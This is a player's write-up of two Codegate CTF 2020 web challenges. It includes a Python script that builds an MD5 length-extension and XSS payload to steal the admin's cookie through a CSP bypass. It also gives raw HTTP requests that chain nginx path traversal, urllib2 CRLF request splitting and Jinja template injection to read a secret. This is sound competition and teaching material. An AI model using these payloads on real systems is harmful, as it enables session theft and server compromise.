Codegate CTF 2020 Preliminary

   

Codegate CTF is one of the major competitions in Korea.
I played on the university student department as p015x and ranked 10th.

img

[702pts] CSP

Description :
I made an simple echo service for my API practice. If you find bug, please tell me!
http://110.10.147.166/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
require_once 'config.php';

if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
die("?");
}

$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];

if(md5($salt.$api_string) !== $sig){
die("??");
}

//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
$apis = explode("|", $api_string);
foreach($apis as $s) {
$info = explode(",", $s);
if(count($info) != 3)
continue;
$n = base64_decode($info[0]);
$p1 = base64_decode($info[1]);
$p2 = base64_decode($info[2]);

if ($n === "header") {
if(strlen($p1) > 10)
continue;
if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
continue;
header("$p1: $p2");
}
elseif ($n === "cookie") {
setcookie($p1, $p2);
}
elseif ($n === "body") {
if(preg_match("/<.*>/", $p1))
continue;
echo $p1;
echo "\n<br />\n";
}
elseif ($n === "hello") {
echo "Hello, World!\n";
}
}

Once you have downloaded the attached file, you can see the source above.
After receiving two parameters, sig and q, put a salt before the base64 decoded value to compare with the sig.

Hash validation in the form $salt + $value for known weak algorithms, such as this issue, may be vulnerable to length extension attack.

the HashPump on the link makes it easy to complete the length extension attack payload.

1
2
3
<script
>alert(1)</script
>

In the body part, regular expression verification prevents the insertion of html tags, but this is an incorrect regular expression, which can be bypassed through inserting a new line character.

1
2
3
4
5
6
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'none';");
header("HTTP/: 102");
?>

<script>alert(1)</script>

As the title, this challenge has the CSP settings as above to prevent XSS from occurring on the site.
However, the CSP may not work with some response status.
The api allows you to bypass the CSP by setting the response status to 102.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from base64 import b64encode
import os

d1 = ['header', 'HTTP/', '102']
d2 = ['body', '<script\n>alert(origin)\n</script\n>', '']

d1 = ','.join(b64encode(c.encode()).decode() for c in d1)
d2 = ','.join(b64encode(c.encode()).decode() for c in d2)

merged = '|{}|{}'.format(d1, d2)

[sig, value] = os.popen("hashpump -s '697e91bd03ae11b196e095af93027e56' -d 'MQ==,Mg==,Mw==' -a '{}' -k 12".format(merged)).read().strip().split('\n')

q = b64encode(eval("b'''" + value + "'''")).decode()

print('http://110.10.147.166/api.php?sig={}&q={}'.format(sig, q))

This is a payload script using the two techniques described above, and you can change the contents of the script by change d2.

After configuring the script and send the cookie value to your server, you can check the flag at the cookie value by sending the generated address to admin via the website’s report function.

[750pts] renderer

Description :
It is my first flask project with nginx. Write your own message, and get flag!
http://110.10.147.169/renderer/
http://58.229.253.144/renderer/

1
2
3
4
5
6
7
8
9
10
11
12
13
// http://110.10.147.169/static../run.sh
#!/bin/bash

service nginx stop
mv /etc/nginx/sites-enabled/default /tmp/
mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask

service nginx restart

uwsgi /home/src/uwsgi.ini &
/bin/bash /home/cleaner.sh &

/bin/bash

Although This server is a just only for this challenge, it is weird serviced by the flask app through /render paths rather than the root path.

The address /static, which is referenced on service page, allows users to browse the parent directory by an nginx misconfigure, which skill is well known, so I will skip the explanation.
An attacker will be able to navigate the /home path through the /static../ path.

The Dockerfile given as an attachment indicates that /home/src/ is the source directory for this flask app.

1
2
3
4
5
6
7
8
9
// http://110.10.147.169/static../src/app/__init__.py
from flask import Flask
from app import routes
import os

app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")

/src/app/_init__.py file indicates that the flag passed to the environment variable from Dockerfile via the ENV command was set in the app.config["FLAG"] property of the flask app.

Also, from app import routes make us know that routes.py has a routing implementation source.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// http://110.10.147.169/static../src/app/routes.py
from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib

from os import path
from urlparse import urlparse

front = Blueprint("renderer", __name__)

@front.before_request
def test():
print(request.url)

@front.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")

url = request.form.get("url")
res = proxy_read(url) if url else False
if not res:
abort(400)

return render_template("index.html", data = res)

@front.route("/whatismyip", methods=["GET"])
def ipcheck():
return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())

@front.route("/admin", methods=["GET"])
def admin_access():
ip = get_ip()
rip = get_real_ip()

if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403)

if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)

else:
if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body"))
return render_template("admin_local.html", ticket = ticket)
else:
return render_template("admin_local.html", ticket = None)

@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
ip = get_ip()
rip = get_real_ip()

if ip != rip: #proxy doesn't allow to show ticket
print 1
abort(403)
if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print 2
abort(403)
if request.headers.get("User-Agent") != "AdminBrowser/1.337":
print request.headers.get("User-Agent")
abort(403)

if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print 4
abort(403)
return render_template_string(log)

def get_ip():
return request.remote_addr

def get_real_ip():
return request.headers.get("X-Forwarded-For") or get_ip()

def proxy_read(url):
#TODO : implement logging

s = urlparse(url).scheme
if s not in ["http", "https"]: #sjgdmfRk akfRk
return ""

return urllib2.urlopen(url).read()

def write_log(rip):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str)

return tid

def write_extend_log(rip, body):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
f.write(body)

return tid

def read_log(ticket):
if not (ticket and ticket.isalnum()):
return False

if path.exists("/home/tickets/%s" % ticket):
with open("/home/tickets/%s" % ticket, "r") as f:
return f.read()
else:
return False

The /home/src/app/routes.py identifies the features and vulnerabilities of the website.

When requested by specifying an X-Forwarded-For header that is not a value of 127.0.0.1 or 127.0.0.2 in the path /admin, a file containing the contents of the X-Forwarded-For is created through the write_log function in the /home/tickets directory and returned to the filename.

In the admin_ticket function corresponding to the /admin/ticket path, read the delivered ticket and execute the factor_template_string function. As a result, Jinja SSTI is available for this issue.

The http request function, which is the main feature of the problem, is through the old version of urlib2 library. (The Python version is listed in the attached Dockerfile) A CRLF vulnerability exists in that version of urlib2, which enables http request splitting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[REQUEST]
POST /renderer/ HTTP/1.1
Host: 110.10.147.169
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

url=http://localhost/renderer/admin HTTP/1.1
X-Forwarded-For: applemint
X-Ignore:

[RESPONSE]
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Codegate20 Proxy Service</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" />
</head>
<body>
<div class="container">
<h3 class="text-center">Codegate '20 Proxy Admin Page</h3>
<br />
<img src="/static/img/admin_is_watching_you.jpg" />

<p class="text-center">
Your access log is written with ticket no e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4
</p>
</div>

<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
</body>
</html>

You can create a file at /home/tickets/ with any request like this and get the file name. In this case, the ticket file is /home/tickets/e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4.

1
2
// http://110.10.147.169/static../tickets/e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4
Admin page accessed from applemint

You can view the contents of the saved ticket file using the nginx route bug as described above.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[REQUEST]
POST /renderer/ HTTP/1.1
Host: 110.10.147.169
Content-Type: application/x-www-form-urlencoded
Content-Length: 194

url=http://localhost/renderer/admin/ticket?ticket=e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4 HTTP/1.1
Host: x
User-Agent: AdminBrowser/1.337
X-Forwarded-For: 127.0.0.1
Connection: close


x

[RESPONSE]
<div class="proxy-body">
Admin page accessed from applemint
</div>

The request split vulnerability allows full manipulation of the contents of packets.
When you pass the parameter to the /admin/ticket path as GET, the contents of the ticket file appear rendered as a template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[REQUEST]
POST /renderer/ HTTP/1.1
Host: 110.10.147.169
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

url=http://localhost/renderer/admin HTTP/1.1
X-Forwarded-For: {{config.FLAG}}
X-Ignore:

[RESPONSE]
<p class="text-center">
Your access log is written with ticket no 6f99f4a313a094964d38e793a99a339acdaac3be
</p>

From /home/src/app/__init__.py, we could know the flag is stored in config.FLAG . So {{"{\{config.Flags}\}"}} template string means

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[REQUEST]
POST /renderer/ HTTP/1.1
Host: 110.10.147.169
Content-Type: application/x-www-form-urlencoded
Content-Length: 194

url=http://localhost/renderer/admin/ticket?ticket=6f99f4a313a094964d38e793a99a339acdaac3be HTTP/1.1
Host: x
User-Agent: AdminBrowser/1.337
X-Forwarded-For: 127.0.0.1
Connection: close


x

[RESPONSE]
<div class="proxy-body">
Admin page accessed from CODEGATE2020{CrLfMakesLocalGreatAgain}
</div>

{{"{\{config.Flags}\}"}} can be verified by rendering templates with tickets where FLAG contents are stored.